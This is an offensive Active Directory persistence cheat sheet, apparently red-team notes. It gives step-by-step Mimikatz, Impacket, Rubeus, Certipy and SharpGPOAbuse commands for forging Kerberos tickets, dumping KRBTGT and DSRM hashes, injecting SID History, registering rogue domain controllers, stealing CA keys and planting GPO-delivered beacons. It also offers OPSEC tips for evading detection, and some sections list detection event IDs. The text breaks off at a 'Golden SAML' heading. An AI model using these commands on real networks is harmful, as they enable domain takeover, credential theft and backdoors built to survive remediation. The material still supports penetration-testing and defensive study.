After compromising a domain, persistence is about ensuring you can ALWAYS get back in — even after password resets, account deletion, remediation, or incident response. A sophisticated attacker deploys 5+ independent persistence mechanisms simultaneously.
Legend:
[Tier-0]= Survives full password reset |[Stealth]= Low detection rate[OPSEC]= Operational Security note |[DA]= Domain Admin required[EA]= Enterprise Admin required |[Detection]= Blue team alert note
PERSISTENCE TIERS
┌──────────────────────────────────────────────────────────────┐
│ TIER 0 — Survives EVERYTHING (KRBTGT reset, deletion) │
│ • Golden Ticket │
│ • Forged CA Cert (DPERSIST1) │
│ • ADFS Golden SAML │
├──────────────────────────────────────────────────────────────┤
│ TIER 1 — Survives password resets, lockout │
│ • Shadow Credentials │
│ • ADCS Cert │
│ • SID History │
│ • AdminSDHolder │
├──────────────────────────────────────────────────────────────┤
│ TIER 2 — Survives reboots, temp remediation │
│ • DCSync ACL │
│ • GPO Tasks │
│ • WMI Subscriptions │
│ • Services │
├──────────────────────────────────────────────────────────────┤
│ TIER 3 — Basic host persistence │
│ • Scheduled Tasks │
│ • Registry Run Keys │
│ • Startup Scripts │
└──────────────────────────────────────────────────────────────┘
1. Golden Ticket
[Tier-0] — The king of AD persistence. Forge a Ticket Granting Ticket (TGT) using the KRBTGT account hash. Allows authentication as ANY user in the domain. Valid for 10 years by default. Survives account deletion, password resets — only defeated by resetting KRBTGT twice.
Requirements
- KRBTGT NTLM hash (from DCSync / NTDS.dit dump)
- Domain SID
- Domain name
How it Works
Normal Kerberos:
User → KDC (AS-REQ) → KDC validates credentials → Issues TGT (signed with KRBTGT hash)
User presents TGT → KDC issues TGS (service ticket)
Golden Ticket:
Attacker forges TGT offline using KRBTGT hash
Attacker injects forged TGT into session → KDC accepts it (KDC has no way to verify without KRBTGT!)
Attacker requests any TGS → Full access to any service in domain!
Execution
# ==========================================
# STEP 1: Get KRBTGT hash (DCSync)
# ==========================================
# From Linux
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP> -just-dc-user krbtgt
# Output:
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:KRBTGT_HASH:::
# From Windows (Mimikatz / C2)
lsadump::dcsync /domain:corp.local /user:krbtgt
# ==========================================
# STEP 2: Get Domain SID
# ==========================================
# Linux
impacket-getPac -targetUser Administrator corp.local/user:pass
# OR from secretsdump output — SID is shown next to each hash
# Windows
Get-ADDomain | select DomainSID
whoami /user # SID minus last component (-500 etc) = domain SID
# ==========================================
# STEP 3: Forge Golden Ticket
# ==========================================
# Linux (impacket)
impacket-ticketer \
-nthash <KRBTGT_NTLM_HASH> \
-domain-sid S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX \
-domain corp.local \
Administrator
# Creates: Administrator.ccache
# With custom duration (default 10 years — use shorter for OPSEC!)
impacket-ticketer \
-nthash <KRBTGT_NTLM_HASH> \
-domain-sid S-1-5-21-... \
-domain corp.local \
-duration 7 \ # 7 days (less detectable than 10 years!)
-groups 512,518,519,520 \ # DA, Schema Admins, EA, Group Policy Creator
Administrator
# Windows (Mimikatz)
kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-... /rc4:<KRBTGT_HASH> \
/id:500 /groups:512,518,519,520 \
/startoffset:0 /endin:600 /renewmax:10080 \
/ptt # /ptt = inject into current session immediately!
# OR: /ticket:golden.kirbi (save to file)
# ==========================================
# STEP 4: Use the Golden Ticket
# ==========================================
# Linux: Export ticket + use
export KRB5CCNAME=/tmp/Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@<DC_IP>
impacket-secretsdump -k -no-pass corp.local/Administrator@<DC_IP>
impacket-wmiexec -k -no-pass corp.local/Administrator@<DC_FQDN>
# Verify ticket is loaded
klist
# Windows: Inject ticket (if not already via /ptt)
kerberos::ptt golden.kirbi
# Use normal tools now — pass-the-ticket works transparently
dir \\DC01\C$
psexec \\DC01 cmd
OPSEC Notes
⚠️ Default Mimikatz golden ticket settings are DETECTED:
- /endin:600 (10 hours) → Kerberos tickets max 10 hours by default → SUSPICIOUS
- /renewmax:10080 (7 days) → too long for most environments
- UserID:500 on non-500 named accounts → triggers alert
✅ OPSEC Golden Ticket settings:
- Use a real user's ID (not 500) — spoof existing DA account
- Match domain MaxTicketAge (usually 600 min = 10 hours)
- Match domain MaxRenewAge (usually 7 days = 10080 min)
- Use AES256 key instead of RC4 (less detectable):
kerberos::golden /aes256:
Detection
Event IDs:
4769 — Kerberos Service Ticket request (look for RC4 on AES-only domain)
4624 — Logon (look for non-existent users)
4672 — Special privileges logon
Alert: TGT with > 10 hour lifetime, RC4 on AES-enforced domain, UserID mismatch
Event IDs:
4769 — Kerberos Service Ticket request (look for RC4 on AES-only domain)
4624 — Logon (look for non-existent users)
4672 — Special privileges logon
Alert: TGT with > 10 hour lifetime, RC4 on AES-enforced domain, UserID mismatch
2. Silver Ticket
[Tier-1] — Forge a service ticket (TGS) using a service account's hash — not KRBTGT. More stealthy than Golden Ticket because it never touches the KDC. Grants access to ONE specific service on ONE specific host.
Requirements
- Service account NTLM hash (from secretsdump, Kerberoasting)
- Domain SID
- Target SPN
Key Difference from Golden Ticket
Golden Ticket → Forged TGT → Access ANYTHING in domain → talks to KDC
Silver Ticket → Forged TGS → Access ONE service → NEVER talks to KDC!
→ Silver Ticket = INVISIBLE to KDC logs (no Event 4768 / 4769 on DC!)
Common Silver Ticket Targets
| SPN | Service | Access Gained |
|---|---|---|
CIFS/server.corp.local |
SMB File Share | Full file system access |
HOST/server.corp.local |
Scheduled Tasks, WMI | Remote execution |
HTTP/server.corp.local |
IIS Web Services | Web app access |
MSSQL/server.corp.local |
SQL Server | Database access |
WSMAN/server.corp.local |
WinRM | PS Remoting access |
LDAP/dc.corp.local |
LDAP queries | AD object queries |
krbtgt/corp.local |
Kerberos | (This = Golden Ticket) |
Execution
# ==========================================
# STEP 1: Get service account hash
# ==========================================
# Get machine account hash (for HOST/CIFS tickets on workstations)
impacket-secretsdump corp.local/admin:pass@<DC_IP> -just-dc-user "TARGET$"
# Get SQL service account hash
impacket-secretsdump corp.local/admin:pass@<DC_IP> -just-dc-user "MSSQL_SVC"
# ==========================================
# STEP 2: Forge Silver Ticket
# ==========================================
# Linux (impacket) — CIFS ticket (file share access on TARGET)
impacket-ticketer \
-nthash <MACHINE_OR_SERVICE_HASH> \
-domain-sid S-1-5-21-... \
-domain corp.local \
-spn CIFS/TARGET.corp.local \
Administrator
# Creates: Administrator.ccache
# Linux — LDAP ticket (for AD queries / DCSync via silver ticket!)
impacket-ticketer \
-nthash <DC_MACHINE_HASH> \
-domain-sid S-1-5-21-... \
-domain corp.local \
-spn LDAP/DC01.corp.local \
Administrator
# Windows (Mimikatz)
kerberos::golden \
/user:Administrator \
/domain:corp.local \
/sid:S-1-5-21-... \
/rc4:<SERVICE_HASH> \
/target:TARGET.corp.local \
/service:cifs \
/ptt
# ==========================================
# STEP 3: Use Silver Ticket
# ==========================================
# Linux
export KRB5CCNAME=/tmp/Administrator.ccache
impacket-smbclient -k -no-pass corp.local/Administrator@TARGET.corp.local
# Windows (after /ptt)
dir \\TARGET.corp.local\C$
OPSEC Notes
✅ Silver Ticket NEVER contacts DC → no KDC logs at all!
✅ Only logs appear on the TARGET host (Event 4624)
⚠️ Target machine validates PAC if PAC validation enabled
→ Use /nopac flag in some scenarios to skip PAC
3. Diamond Ticket
[Tier-1] [Stealth] — A more stealthy alternative to Golden Ticket. Instead of forging a TGT from scratch, Diamond Ticket MODIFIES a legitimate TGT. Harder to detect because the ticket has a valid KDC signature.
How it Differs from Golden Ticket
Golden Ticket: Forge TGT entirely offline → no KDC interaction
→ KDC signature is MISSING or FAKE → detectable!
Diamond Ticket: Request REAL TGT from KDC as low-priv user
→ Decrypt TGT (using KRBTGT hash)
→ Modify PAC (change groups → add 512 Domain Admins)
→ Re-encrypt with KRBTGT
→ Valid KDC signature intact → MUCH harder to detect!
Execution
# Rubeus (Windows) — Diamond Ticket
Rubeus.exe diamond \
/user:lowprivuser \
/password:P@ssw0rd \
/enctype:aes256 \
/krbkey:<KRBTGT_AES256_KEY> \
/domain:corp.local \
/dc:<DC_IP> \
/ticketuser:Administrator \
/ticketuserid:500 \
/groups:512 \
/ptt
# Via C2 (execute-assembly)
execute-assembly Rubeus.exe diamond /user:lowprivuser /password:pass /krbkey:<KRBTGT_AES256> /domain:corp.local /dc:<DC_IP> /ptt
4. Sapphire Ticket
[Tier-1] [Stealth] — The stealthiest ticket attack. Copies the PAC from a real administrator's TGT and uses it in a new ticket. Indistinguishable from legitimate tickets because the PAC is real.
How it Works
-
Request a TGT for low-priv user (real, legitimate)
-
Use S4U2Self to get a service ticket for DA (gets DA's real PAC!)
-
Embed DA's real PAC into your own ticket
→ Your ticket contains a 100% legitimate PAC from real DA!
→ No PAC anomalies → virtually undetectable!
Execution
# Rubeus — Sapphire Ticket
Rubeus.exe sapphire \
/user:lowprivuser \
/password:P@ssw0rd \
/enctype:aes256 \
/krbkey:<KRBTGT_AES256_KEY> \
/domain:corp.local \
/dc:<DC_IP> \
/impersonateuser:Administrator \
/ptt
# Via C2
execute-assembly Rubeus.exe sapphire /user:lowprivuser /password:pass /krbkey:<KRBTGT_AES256> /domain:corp.local /dc:<DC_IP> /impersonateuser:Administrator /ptt
5. Skeleton Key
[Tier-2] — Patches the LSASS process on a Domain Controller with a master password. After injection, ALL domain accounts can authenticate with EITHER their real password OR the skeleton key password. Not persistent across reboots — must be re-injected.
How it Works
Normal auth: User password → Kerberos/NTLM → Validated against AD hash
Skeleton Key: Mimikatz patches LSASS on DC → inserts second accepted password
→ Now user can auth with real password OR with "mimikatz" (default skeleton key)
→ Blue team cannot detect via normal password audit — DB is unchanged!
Execution
# ==========================================
# Via Mimikatz (on DC or via C2 to DC)
# ==========================================
# Windows (Mimikatz / C2 execute-assembly)
privilege::debug
misc::skeleton
# Default skeleton password is now: mimikatz
# All accounts accept: username + "mimikatz" as password!
# Use skeleton key from any workstation:
net use \\DC01\C$ /user:corp\Administrator mimikatz
# → Works even if Administrator's real password is different!
# Custom skeleton key password
misc::skeleton # Can be patched to use custom password at compile time
# ==========================================
# Verify skeleton key is active
# ==========================================
net use \\DC01\IPC$ /user:corp\anydomainuser mimikatz # Should succeed
OPSEC Notes
⚠️ Skeleton Key DOES NOT survive DC reboot!
⚠️ Detected by: Antivirus on DC, LSASS process patch detection
⚠️ Sysmon Event 10 (LSASS access from mimikatz process)
✅ No AD database changes → password audit won't find it
✅ No new accounts → account audit won't find it
[OPSEC] Re-inject after any DC reboot using persistent access method
[OPSEC] Combine with a persistent C2 callback so you can re-inject
6. DSRM Backdoor
[Tier-1] [Stealth] — Directory Services Restore Mode (DSRM) is a local admin account on EVERY Domain Controller (like a local Administrator account). Attackers change its password and configure the DC to allow network DSRM authentication.
Why It's Powerful
DSRM account = Local admin on DC that exists OUTSIDE of AD
→ Not affected by domain password policies
→ Not visible in normal AD user enumeration
→ Survives domain user resets (it's a LOCAL account on DC!)
→ Can be used to DCSync, dump NTDS.dit, access any share on DC
Execution
# ==========================================
# STEP 1: Dump DSRM hash (from DA on DC)
# ==========================================
# Mimikatz on DC
token::elevate
lsadump::sam # Look for "Administrator" in SAM → that's DSRM!
# OR via impacket secretsdump (local SAM)
impacket-secretsdump corp.local/admin:pass@<DC_IP> -sam
# ==========================================
# STEP 2: Change DSRM password (set it to something you know)
# ==========================================
# On DC (as DA):
ntdsutil
set DSRM password
reset password on server <DC_HOSTNAME>
<new_password>
quit
quit
# Dump new DSRM hash
impacket-secretsdump corp.local/admin:pass@<DC_IP> -sam
# ==========================================
# STEP 3: Enable network DSRM authentication (key step!)
# ==========================================
# Registry change on DC (allows DSRM account to auth over network)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
# Value 2 = Always allow DSRM account network login
# Value 1 = Allow only when AD services stopped (safer for attacker)
# ==========================================
# STEP 4: Use DSRM account for persistence
# ==========================================
# Pass-the-Hash with DSRM account
impacket-secretsdump corp.local/Administrator@<DC_IP> -hashes :<DSRM_NTLM>
# SMB access to DC as DSRM admin
impacket-smbclient <DC_IP>/Administrator -hashes :<DSRM_NTLM>
# DCSync using DSRM (dump all hashes)
impacket-secretsdump Administrator@<DC_IP> -hashes :<DSRM_NTLM>
Detection
Event IDs:
4794 — DSRM password set (attempt to set DSRM password)
4657 — Registry modified (DsrmAdminLogonBehavior key change)
Monitor: Any logon using the built-in local Administrator SID on a DC
over the network (this account should NEVER logon remotely!)
7. AdminSDHolder Abuse
[Tier-1] [Stealth] — AdminSDHolder is a special AD container that protects privileged group members (Domain Admins, Enterprise Admins, etc.) by resetting their ACLs every 60 minutes via the SDProp process. Attackers add their account's ACE to AdminSDHolder → SDProp automatically propagates it to ALL protected accounts every hour.
How it Works
AdminSDHolder container
→ Every 60 min, SDProp runs on PDC
→ Copies AdminSDHolder ACL to ALL protected objects:
(Domain Admins, Enterprise Admins, Account Operators, Schema Admins,
Backup Operators, Print Operators, Server Operators, Replicating DCs...)
Attack:
Attacker adds ACE: "jsmith has GenericAll on AdminSDHolder"
→ 60 minutes later: jsmith has GenericAll on ALL DA accounts!
→ Reset any DA's password? jsmith gets the right back in 60 min!
→ This is AUTOMATIC and SELF-HEALING from attacker's perspective!
Execution
# ==========================================
# Add GenericAll ACE to AdminSDHolder
# ==========================================
# PowerView
Add-DomainObjectAcl \
-TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
-PrincipalIdentity jsmith \
-Rights All \
-Verbose
# Verify ACE was added
Get-DomainObjectAcl \
-Identity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
-ResolveGUIDs | Where-Object {
$_.SecurityIdentifier -match (Get-DomainUser jsmith).objectsid
}
# Force SDProp to run NOW (don't wait 60 min!)
# (Requires DA rights on PDC)
Invoke-ADSDPropagation # PowerView function
# OR manually trigger via LDAP:
$rootDSE = [ADSI]"LDAP://RootDSE"
$rootDSE.Put("fixupInheritance", 1)
$rootDSE.SetInfo()
# Wait ~1 min → jsmith now has GenericAll on all DA accounts!
# ==========================================
# Use the backdoor (reset DA password)
# ==========================================
# After SDProp runs, jsmith can reset any DA's password:
Set-DomainUserPassword \
-Identity Administrator \
-AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force) \
-Verbose
# Login as Administrator with new password
# Even if blue team resets Administrator password → SDProp re-grants
# jsmith GenericAll within 60 minutes automatically!
Detection
Event IDs:
4670 — Permissions on object changed (AdminSDHolder ACL modified)
4662 — Object operation (modification of AdminSDHolder)
Monitor: Any ACL change on CN=AdminSDHolder object
Any user outside of DA group having rights on AdminSDHolder
8. DCSync Rights via ACL
[Tier-1] [Stealth] — Grant a normal user account DCSync rights by modifying the Domain object's ACL directly. The user can then replicate all hashes anytime without being a DA.
Required ACEs for DCSync
On the Domain object (DC=corp,DC=local), add:
✅ DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
✅ DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
✅ DS-Replication-Get-Changes-In-Filtered-Set (GUID: 89e95b76-...)
Execution
# ==========================================
# PowerView — Add DCSync rights
# ==========================================
Add-DomainObjectAcl \
-TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity jsmith \
-Rights DCSync \
-Verbose
# Verify rights
Get-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
$_.ObjectAceType -match "DS-Replication" -and
$_.SecurityIdentifier -match (Get-DomainUser jsmith).objectsid
}
# ==========================================
# Use DCSync rights (jsmith is NOT a DA!)
# ==========================================
# Linux — DCSync as jsmith (low-priv user!)
impacket-secretsdump corp.local/jsmith:pass@<DC_IP>
# Dump KRBTGT specifically
impacket-secretsdump corp.local/jsmith:pass@<DC_IP> -just-dc-user krbtgt
# Windows — Mimikatz
runas /user:corp\jsmith cmd
lsadump::dcsync /domain:corp.local /user:krbtgt /user:Administrator
Detection
Event IDs:
4662 — Modification of domain object ACL
4738 — User account changed (sometimes triggered)
Monitor: Replication events from non-DC machines (Event 4929)
DS-Replication-Get-Changes from non-admin accounts
9. SID History Injection
[Tier-1] [Stealth] — SID History is a legitimate AD attribute used in domain migrations to preserve access rights. Attackers inject a DA or Enterprise Admin SID into a normal user's
sIDHistoryattribute → that user silently has DA rights without being IN the DA group.
How it Works
Normal user: jsmith → SID: S-1-5-21-...-1234
DA group: S-1-5-21-...-512
After SID History injection:
jsmith.sIDHistory = [S-1-5-21-...-512] (Domain Admins SID!)
When jsmith authenticates → access token includes BOTH:
→ S-1-5-21-...-1234 (jsmith's real SID)
→ S-1-5-21-...-512 (Domain Admins via SID History!)
→ jsmith has DA-level access BUT is NOT a member of Domain Admins!
→ BloodHound won't show it! "net group 'Domain Admins'" won't show it!
→ EXTREMELY stealthy!
Execution
# ==========================================
# Method 1: Mimikatz on DC (requires DA)
# ==========================================
# Must run on DC!
privilege::debug
sid::patch # Patch NTDS to allow SID history modification
sid::add /sam:jsmith /new:Administrator # Add Administrator's SID to jsmith's sIDHistory
# OR add DA group SID directly:
sid::add /sam:jsmith /new:"Domain Admins"
# ==========================================
# Method 2: PowerView / AD Module
# ==========================================
# Using Active Directory module (DA required)
$SIDToAdd = (Get-ADGroup "Domain Admins").SID.Value
Set-ADUser jsmith -Add @{'SIDHistory'=$SIDToAdd}
# ==========================================
# Verify SID History injection
# ==========================================
Get-ADUser jsmith -Properties SIDHistory | Select SIDHistory
# Should show: {S-1-5-21-...-512}
# ==========================================
# Use the backdoor
# ==========================================
# jsmith can now access DC shares, run DCSync, etc.
# Login as jsmith normally → automatically has DA access!
dir \\DC01\C$ # Works as jsmith!
impacket-secretsdump corp.local/jsmith:pass@<DC_IP> # Full DCSync!
# Cross-domain SID History (forest persistence!)
# Add Enterprise Admin SID (S-1-5-21-ROOT_DOMAIN-...-519) to user in child domain
# → That user has EA rights in the ROOT domain from child domain!
Detection
Event IDs:
4765 — SID History added to account
4766 — SID History add attempt (failed)
4738 — User account changed
Monitor: Any modification to sIDHistory attribute (should never happen post-migration)
BloodHound query: MATCH (u:User) WHERE u.sidhistory <> [] RETURN u.name
10. DCShadow
[Tier-2] [Stealth] — Register a rogue Domain Controller that pushes malicious attribute changes (SID History, group membership, ACLs) via legitimate AD replication. Changes bypass standard audit logging because they appear as DC-to-DC replication.
How it Works
Normal change logging:
Admin changes user attr → Event 4738 on DC → Logged + audited
DCShadow:
Attacker's machine registers as a fake DC via RPC
→ Pushes changes via replication (not LDAP write!)
→ Changes appear as DC replication → minimal logs
→ Can inject SID History, modify group membership, change ACLs
→ Bypasses SIEM rules watching for LDAP writes!
Execution
# ==========================================
# DCShadow requires TWO processes (two terminals)
# ==========================================
# Terminal 1 — Start DCShadow listener (registers fake DC)
# Must run as DA or equivalent
mimikatz# lsadump::dcshadow /object:jsmith /attribute:sidhistory /value:S-1-5-21-...-512
# Terminal 2 — Push the changes (trigger replication)
mimikatz# lsadump::dcshadow /push
# ==========================================
# Other useful DCShadow attributes
# ==========================================
# Add to Domain Admins group via replication
mimikatz# lsadump::dcshadow /object:jsmith /attribute:primaryGroupID /value:512
# Modify userAccountControl (disable password expiry)
mimikatz# lsadump::dcshadow /object:jsmith /attribute:userAccountControl /value:66048
# Set SPN on account (for Silver Ticket persistence)
mimikatz# lsadump::dcshadow /object:jsmith /attribute:servicePrincipalName /value:CIFS/dc01.corp.local
Detection
Event IDs:
4929 — AD replica source was removed (fake DC deregisters)
4928 — AD replica source was added (fake DC registers → KEY alert!)
Monitor: New DC appearing in Sites and Services that wasn't provisioned
Replication events from non-DC machine accounts
Mitigation: Restrict who can register domain controllers (Set-ADForest / nTDSDSA ACLs)
11. Shadow Credentials
[Tier-1] [Stealth] — Modify the
msDS-KeyCredentialLinkattribute of a user/computer account to add an attacker-controlled certificate credential. Allows PKINIT authentication as that account without knowing the password — even after a password reset!
How it Works
Shadow Credentials abuse Key Trust (Kerberos PKINIT):
1. Attacker writes their certificate's public key to victim's msDS-KeyCredentialLink
2. Attacker authenticates using the PRIVATE key (PKINIT auth)
3. KDC validates → issues TGT for victim account
→ No password needed! Survives password reset!
→ Works on USER and MACHINE accounts!
Execution
# ==========================================
# Requirements:
# - Write access to target account (GenericWrite / WriteDacl)
# - Domain functional level ≥ Windows Server 2016
# - At least one DC running Windows Server 2016+
# ==========================================
# ==========================================
# Method 1: Whisker (Windows)
# ==========================================
# Add shadow credential to target user
Whisker.exe add /target:jsmith
# Output: certfile.pfx + password for the cert
# Verify it was added
Whisker.exe list /target:jsmith
# Use shadow credential to get TGT
Rubeus.exe asktgt \
/user:jsmith \
/certificate:<base64_cert> \
/password:<cert_password> \
/domain:corp.local \
/dc:<DC_IP> \
/ptt
# If you want NTLM hash (for PtH) via U2U:
Rubeus.exe asktgt /user:jsmith /certificate:<b64> /password:<pw> /getcredentials
# ==========================================
# Method 2: pyWhisker (Linux)
# ==========================================
python3 pywhisker.py \
-d corp.local \
-u attacker_user \
-p pass \
--target jsmith \
--action add \
--filename jsmith_shadow
# Get TGT using shadow cert
python3 gettgtpkinit.py \
corp.local/jsmith \
-cert-pfx jsmith_shadow.pfx \
-pfx-pass <password> \
jsmith.ccache
export KRB5CCNAME=jsmith.ccache
impacket-secretsdump corp.local/jsmith@<DC_IP> -k -no-pass # DCSync as jsmith!
# ==========================================
# Shadow Credentials on MACHINE account (persistence on DC!)
# ==========================================
# Add shadow credential to DC machine account
Whisker.exe add /target:DC01$
# Get TGT as DC01$
Rubeus.exe asktgt /user:DC01$ /certificate:<b64> /password:<pw> /ptt
# Now DCSync using DC machine account TGT!
impacket-secretsdump corp.local/DC01$@<DC_IP> -k -no-pass
Detection
Event IDs:
5136 — AD object modified (msDS-KeyCredentialLink attribute changed)
Monitor: Any write to msDS-KeyCredentialLink on user/computer objects
BloodHound: Shows "AddKeyCredentialLink" edge for accounts you have write on
12. ADCS Certificate Persistence
[Tier-1] [Stealth] — Request a certificate from an AD Certificate Services (ADCS) CA for a high-privileged account. The certificate can authenticate as that user for 1+ years — even after their password is reset!
How it Works
Standard Kerberos: Username + Password → TGT
PKINIT Kerberos: Username + Certificate (Private Key) → TGT
Certificate validity: 1 year (default for User template)
→ If you have a DA's certificate, you can get a TGT as DA
for up to 1 year even if DA's password is changed!
→ Only stopping it: revoke the certificate (most defenders miss this!)
Execution
# ==========================================
# Method 1: Request cert for yourself (if you ARE a DA)
# ==========================================
# Windows — Certify
Certify.exe request /ca:CA_SERVER\CA_NAME /template:User
# OR:
Certify.exe request /ca:CA_SERVER\CA_NAME /template:DomainController # For DC cert
# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Get TGT using cert (works even after password reset!)
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:<pfx_pw> /ptt
# ==========================================
# Method 2: Request cert ON BEHALF of a user (ESC3)
# ==========================================
# If Enrollment Agent template is available
Certify.exe request /ca:CA_SERVER\CA_NAME /template:EnrollmentAgent
# Use EA cert to enroll on behalf of DA:
Certify.exe request /ca:CA_SERVER\CA_NAME /template:User \
/onbehalfof:corp\Administrator \
/enrollcert:ea.pfx \
/enrollcertpwd:<pw>
# ==========================================
# Method 3: Linux (Certipy)
# ==========================================
# Request cert for current user
certipy req -ca 'CA_NAME' -template User \
-u jsmith@corp.local -p pass -dc-ip <DC_IP>
# Request cert on behalf of admin (ESC3)
certipy req -ca 'CA_NAME' -template User \
-on-behalf-of 'corp\Administrator' \
-pfx ea.pfx \
-u jsmith@corp.local -p pass
# Use cert to get TGT
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
# ==========================================
# Store cert securely for long-term persistence
# ==========================================
# Export cert + key (save OFFLINE securely)
openssl pkcs12 -in cert.pfx -out cert_backup.pem -nodes
# Use when needed:
certipy auth -pfx cert.pfx -username Administrator -domain corp.local -dc-ip <DC_IP>
Detection
Event IDs:
4886 — Certificate requested
4887 — Certificate issued
4888 — Certificate denied
Monitor: Unusual cert requests (non-admin users requesting DC template certs)
Cert requests for privileged accounts from unusual machines
Mitigation: Enable "Require CA Manager Approval" for sensitive templates
13. Forged CA Certificate (DPERSIST1)
[Tier-0] — The most powerful ADCS persistence. Steal the Root CA's private key and signing certificate → forge certificates for ANY user in the domain FOREVER, completely offline. Cannot be detected or revoked without replacing the entire CA infrastructure.
How it Works
Normal CA: User requests cert → CA signs with private key → cert issued
DPERSIST1: Steal CA private key → forge any cert offline
→ No request logged → No CA interaction → Undetectable!
→ Valid until the CA cert expires (usually 5-10 years!)
Execution
# ==========================================
# STEP 1: Extract CA certificate + private key
# ==========================================
# From CA Server (requires local admin on CA)
# Method 1: Certipy (Linux C2 → exec on CA server)
certipy ca \
-backup \
-ca 'corp-CA' \
-u admin@corp.local \
-p pass \
-dc-ip <DC_IP>
# Output: corp-CA.pfx
# Method 2: Mimikatz (on CA server directly)
crypto::certificates /export /systemstore:LOCAL_MACHINE
# Exports to file, including CA cert+key
# Method 3: SharpDPAPI (extract from DPAPI backup)
SharpDPAPI.exe certificates /machine
# ==========================================
# STEP 2: Forge certificate for any user (OFFLINE)
# ==========================================
# Certipy — forge cert for Administrator (100% offline, no logs!)
certipy forge \
-ca-pfx corp-CA.pfx \
-upn administrator@corp.local \
-subject "CN=Administrator,CN=Users,DC=corp,DC=local"
# Output: administrator_forged.pfx (valid for 1 year by default)
# Forge with custom validity (5 years!)
certipy forge \
-ca-pfx corp-CA.pfx \
-upn administrator@corp.local \
-subject "CN=Administrator" \
-not-after "2030-01-01 00:00:00"
# ==========================================
# STEP 3: Authenticate with forged cert
# ==========================================
certipy auth -pfx administrator_forged.pfx -dc-ip <DC_IP>
# → Get TGT as Administrator + NTLM hash!
export KRB5CCNAME=administrator.ccache
impacket-secretsdump corp.local/Administrator@<DC_IP> -k -no-pass
# Repeat ANYTIME for any user:
certipy forge -ca-pfx corp-CA.pfx -upn krbtgt@corp.local
certipy forge -ca-pfx corp-CA.pfx -upn enterprise_admin@corp.local
Remediation (What Blue Team Must Do)
To stop DPERSIST1:
1. Revoke all existing certificates (CRL update)
2. Replace the ENTIRE CA infrastructure (new root CA, new issuing CA)
3. Re-enroll ALL users, computers, services with new certs
4. This is an ENORMOUS operation — most orgs can't do it quickly!
→ DPERSIST1 = essentially permanent until full PKI rebuild
14. GPO Persistence
[Tier-2] — Use Group Policy Objects to push persistence payloads to all machines in a linked OU. Survives reboots — runs on every machine startup or user logon.
Execution
# ==========================================
# Add Scheduled Task via GPO (SYSTEM on all linked machines)
# ==========================================
# SharpGPOAbuse
.\SharpGPOAbuse.exe \
--AddComputerTask \
--TaskName "WindowsTelemetry" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "C:\Windows\System32\cmd.exe" \
--Arguments "/c C:\ProgramData\svchost.exe" \
--GPOName "Default Domain Policy" \
--Force
# ==========================================
# Add Local Admin via GPO (persist local admin on all machines)
# ==========================================
.\SharpGPOAbuse.exe \
--AddLocalAdmin \
--UserAccount "CORP\jsmith" \
--GPOName "Default Domain Policy"
# ==========================================
# Add Computer Startup Script via GPO
# ==========================================
.\SharpGPOAbuse.exe \
--AddComputerScript \
--ScriptName "WinUpdate.bat" \
--ScriptContents "C:\ProgramData\beacon.exe" \
--GPOName "Default Domain Policy"
# ==========================================
# Force GPO update without waiting 90 min
# ==========================================
Invoke-GPUpdate -Computer TARGET -Force -RandomDelayInMinutes 0
# OR via WMI:
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create \
-ArgumentList "gpupdate /force"
See the full GPO Abuse note for detailed instructions.
15. Kerberos Delegation Persistence
[Tier-1] — Configure Unconstrained, Constrained, or Resource-Based Constrained Delegation on an account you control → impersonate any user to any service without their knowledge.
Unconstrained Delegation (Most Powerful)
# Set Unconstrained Delegation on a computer/user you control
Set-ADComputer attacker_machine -TrustedForDelegation $true
Set-ADUser backdoor_svc -TrustedForDelegation $true
# When ANY user connects to the machine with unconstrained delegation:
# → Their TGT is automatically saved in LSASS of that machine!
# Extract delegated TGTs (from LSASS of delegation machine)
Rubeus.exe monitor /interval:5 /nowrap # Real-time TGT monitoring!
# Inject captured TGT:
Rubeus.exe ptt /ticket:<base64_ticket>
# Force DC to connect to your unconstrained delegation machine (PrinterBug):
python3 printerbug.py corp.local/user:pass@<DC_IP> <YOUR_MACHINE>
# DC's TGT is now in YOUR machine's LSASS → extract → full DCSync!
Rubeus.exe dump /nowrap
Resource-Based Constrained Delegation (RBCD)
# If you have GenericWrite on a machine account:
# Add your controlled machine to msDS-AllowedToActOnBehalfOfOtherIdentity
# Step 1: Create/use a machine account you control
impacket-addcomputer corp.local/user:pass -computer-name "EVIL_PC$" -computer-pass "Evilpass123!"
# Step 2: Set RBCD on target machine to allow EVIL_PC$ to impersonate
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-<EVIL_PC_SID>)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer TARGET | Set-ADComputer -Replace @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Step 3: Use S4U2Proxy to impersonate Administrator to TARGET
Rubeus.exe s4u \
/user:EVIL_PC$ \
/rc4:<EVIL_PC_HASH> \
/impersonateuser:Administrator \
/msdsspn:CIFS/TARGET.corp.local \
/ptt
# Full admin access to TARGET as Administrator!
dir \\TARGET.corp.local\C$
16. Golden SAML (ADFS)
